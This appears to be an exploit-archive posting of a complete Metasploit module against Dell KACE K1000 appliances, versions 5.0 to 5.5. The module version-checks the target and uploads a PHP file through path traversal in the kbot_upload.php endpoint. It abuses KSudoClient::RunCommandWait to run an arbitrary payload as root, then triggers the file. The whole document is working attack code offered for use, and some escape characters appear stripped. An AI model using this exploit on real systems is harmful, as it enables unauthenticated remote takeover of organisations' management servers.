Dell KACE K1000 File Upload
Posted on 13 April 2016
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Dell KACE K1000 File Upload', 'Description' => %q{ This module exploits a file upload vulnerability in Kace K1000 versions 5.0 to 5.3, 5.4 prior to 5.4.76849 and 5.5 prior to 5.5.90547 which allows unauthenticated users to execute arbitrary commands under the context of the 'www' user. This module also abuses the 'KSudoClient::RunCommandWait' function to gain root privileges. This module has been tested successfully with Dell KACE K1000 version 5.3. }, 'License' => MSF_LICENSE, 'Privileged' => true, 'Platform' => 'unix', # FreeBSD 'Arch' => ARCH_CMD, 'Author' => [ 'Bradley Austin (steponequit)', # Initial discovery and exploit 'Brendan Coles <bcoles[at]gmail.com>', # Metasploit ], 'References' => [ ['URL', 'http://console-cowboys.blogspot.com/2014/03/the-curious-case-of-ninjamonkeypiratela.html'] ], 'Payload' => { 'Space' => 1024, 'BadChars' => "x00x27", 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl' } }, 'DefaultTarget' => 0, 'Targets' => [ ['Automatic Targeting', { 'auto' => true }] ], 'DisclosureDate' => 'Mar 7 2014')) end def check res = send_request_cgi('uri' => normalize_uri('service', 'kbot_upload.php')) unless res vprint_error('Connection failed') return Exploit::CheckCode::Unknown end if res.code && res.code == 500 && res.headers['X-DellKACE-Appliance'].downcase == 'k1000' if res.headers['X-DellKACE-Version'] =~ /A([0-9]).([0-9]).([0-9]+)z/ vprint_status("Found Dell KACE K1000 version #{res.headers['X-DellKACE-Version']}") if $1.to_i == 5 && $2.to_i <= 3 # 5.0 to 5.3 return Exploit::CheckCode::Vulnerable elsif $1.to_i == 5 && $2.to_i == 4 && $3.to_i <= 76849 # 5.4 prior to 5.4.76849 return Exploit::CheckCode::Vulnerable elsif $1.to_i == 5 && $2.to_i == 5 && $3.to_i <= 90547 # 5.5 prior to 5.5.90547 return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end return Exploit::CheckCode::Detected end Exploit::CheckCode::Safe end def exploit # upload payload fname = ".#{rand_text_alphanumeric(rand(8) + 5)}.php" payload_path = "/kbox/kboxwww/tmp/" post_data = "<?php require_once 'KSudoClient.class.php';KSudoClient::RunCommandWait('rm #{payload_path}#{fname};#{payload.encoded}');?>" print_status("Uploading #{fname} (#{post_data.length} bytes)") res = send_request_cgi( 'uri' => normalize_uri('service', 'kbot_upload.php'), 'method' => 'POST', 'vars_get' => Hash[{ 'filename' => fname, 'machineId' => "#{'../' * (rand(5) + 4)}#{payload_path}", 'checksum' => 'SCRAMBLE', 'mac' => rand_text_alphanumeric(rand(8) + 5), 'kbotId' => rand_text_alphanumeric(rand(8) + 5), 'version' => rand_text_alphanumeric(rand(8) + 5), 'patchsecheduleid' => rand_text_alphanumeric(rand(8) + 5) }.to_a.shuffle], 'data' => post_data) unless res fail_with(Failure::Unreachable, 'Connection failed') end if res.code && res.code == 200 print_good('Payload uploaded successfully') else fail_with(Failure::UnexpectedReply, 'Unable to upload payload') end # execute payload res = send_request_cgi('uri' => normalize_uri('tmp', fname)) unless res fail_with(Failure::Unreachable, 'Connection failed') end if res.code && res.code == 200 print_good('Payload executed successfully') elsif res.code && res.code == 404 fail_with(Failure::NotVulnerable, "Could not find payload '#{fname}'") else fail_with(Failure::UnexpectedReply, 'Unable to execute payload') end end end